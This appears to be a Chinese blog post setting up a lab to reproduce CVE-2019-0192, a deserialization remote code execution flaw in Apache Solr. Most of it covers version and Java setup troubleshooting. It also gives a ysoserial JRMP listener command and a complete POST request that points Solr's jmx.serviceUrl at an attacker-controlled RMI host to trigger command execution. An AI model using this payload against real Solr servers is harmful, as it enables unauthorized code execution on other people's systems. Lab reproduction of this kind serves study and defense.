solr(CVE-2019-0192)

影响版本是5.0.0 to 5.5.5 and 6.0.0 to 6.6.5

但是实际由于6.x的需要Java8在这里插入图片描述才能利用,所以这里只用5.x的进行演示。
最后用solr-5.3.0 + jdk1.7.0_21 完成了。
在这里插入图片描述

PoC:
https://github.com/mpgn/CVE-2019-0192/

solr-6.6.5

http://120.52.51.16/archive.apache.org/dist/lucene/solr/6.6.5/solr-6.6.5.zip
运行的最低Java版本是8:

cqq@ubuntu:~/repos/cms/solr-6.6.5$ bin/solr -e techproducts -D com.sun.management.jmxremote
Your current version of Java is too old to run this version of Solr
We found version 1.7.0_21, using command 'java -version', with response:
java version "1.7.0_21"
Java(TM) SE Runtime Environment (build 1.7.0_21-b11)
Java HotSpot(TM) 64-Bit Server VM (build 23.21-b01, mixed mode)

Please install latest version of Java 1.8 or set JAVA_HOME properly.

Debug information:
JAVA_HOME: N/A
Active Path:
/home/cqq/bin:/home/cqq/.local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/go/bin:/home/cqq/go/bin:/home/cqq/go/bin

可以在运行Solr的shell引入环境变量:

export SOLR_JAVA_HOME=/home/77/repos/jdk1.8.0_112

或者Windows下:

set PATH="C:\Program Files\Java\jdk1.7.0_21\bin";%PATH%

然后启动即可:
Windows下

.\solr.cmd -e techproducts 

这个-Dcom.sun.management.jmxremote并不是必须的。
在这里插入图片描述
停止:

bin\solr.cmd stop -p 8983

再次启动之前需要将之前的example\techproducts目录删掉。

solr-6.2.1

http://120.52.51.16/archive.apache.org/dist/lucene/solr/6.2.1/solr-6.2.1.zip
虽然没强制说Java 7不能运行,但是报错Unsupported major.minor version 52.0,查了stackoverflow,也说是java版本问题:

cqq@ubuntu:~/repos/cms/solr-6.2.1$ bin/solr -e techproducts -Dcom.sun.management.jmxremote
Exception in thread "main" java.lang.UnsupportedClassVersionError: org/apache/solr/util/SolrCLI : Unsupported major.minor version 52.0
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:791)
	at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
	at java.net.URLClassLoader.defineClass(URLClassLoader.java:449)
	at java.net.URLClassLoader.access$100(URLClassLoader.java:71)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:361)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:423)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:356)
	at sun.launcher.LauncherHelper.checkAndLoadMain(LauncherHelper.java:482)

算了还是用5.x的solr吧。

5.5.3

按照这个:https://mp.weixin.qq.com/s/ZtqM2EhB2BbZmDt1omvF6A
用5.5.3版本
https://archive.apache.org/dist/lucene/solr/5.5.3/solr-5.5.3.zip
先启动起来,
注意这里启动solr的方式中,solr这个脚本是根据环境中的java命令来判断Java版本的。比如/usr/bin/java,我这边是修改了这个java所指向的java版本来修改solr启动java版本的。

cqq@ubuntu:~/repos/cms/solr-5.5.3/bin$ ./solr -h 192.168.170.217 -e techproducts
Solr home directory /home/cqq/repos/cms/solr-5.5.3/example/techproducts/solr already exists.

Starting up Solr on port 8983 using command:
/home/cqq/repos/cms/solr-5.5.3/bin/solr start -p 8983 -s "/home/cqq/repos/cms/solr-5.5.3/example/techproducts/solr" -h 192.168.170.217

Waiting up to 30 seconds to see Solr running on port 8983 [/]
Started Solr server on port 8983 (pid=18463). Happy searching!


WARNING: Core 'techproducts' already exists!
Checked core existence using Core API command:
http://192.168.170.217:8983/solr/admin/cores?action=STATUS&core=techproducts


Solr techproducts example launched successfully. Direct your Web browser to http://192.168.170.217:8983/solr to visit the Solr Admin UI

要加上-Dcom.sun.management.jmxremote参数

否则会启动失败:
java.lang.RuntimeException:java.lang.RuntimeException: Could not start JMX monitoring
在这里插入图片描述
再使用PoC执行
需要等待大概一分钟,才能完成执行的过程:(这个PoC有点长,感觉其实没必要吧)
在这里插入图片描述
在这里插入图片描述
执行命令:

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/test_by_cqq"

即在1099端口监听,然后发送以下请求:
在发送之前,需要确保
GET /solr/admin/cores?wt=json
的请求返回的响应json中的status字段的值第一个为:techproducts,
在这里插入图片描述
然后下面这个请求是根据前一个请求的结果来确定的。

POST /solr/techproducts/config HTTP/1.1
Host: 192.168.170.217:8983
User-Agent: python-requests/2.21.0
Connection: keep-alive
Content-Type: application/json
Content-Length: 92

{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://192.168.170.1:1099/obj"}}

即可触发。
下图说明命令已成功执行:
在这里插入图片描述
如果出现以下错误:

java.io.InvalidObjectException: Non-annotation type in annotation serial stream

则说明是Java版本高了,无法利用。
是说怎么JDK某个版本以上就不行了,因为有JEP 290这个特性

参考:
https://blog.csdn.net/u011721501/article/details/78555246

多个solr共存的漏洞环境搭建

启动哪个core

一般作为漏洞环境,启动solr就用自带的example吧,懒得自己创建一个core了

  -e <example>  Name of the example to run; available examples:
      cloud:         SolrCloud example
      techproducts:  Comprehensive example illustrating many of Solr's core capabilities
      dih:           Data Import Handler
      schemaless:    Schema-less example

第一个是cloud模式,第二个包含了很多solr的core的功能,一般用这个吧;第三个用的DataImportHandler。

启动的端口号
  -p <port>     Specify the port to start the Solr HTTP listener on; default is 8983
                  The specified port (SOLR_PORT) will also be used to determine the stop port
                  STOP_PORT=($SOLR_PORT-1000) and JMX RMI listen port RMI_PORT=($SOLR_PORT+10000). 
                  For instance, if you set -p 8985, then the STOP_PORT=7985 and RMI_PORT=18985

默认是8983,然后其他两个端口号相应地改变,停止端口号:8983-1000=7983;
JMX监听端口号8983+10000=18983.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值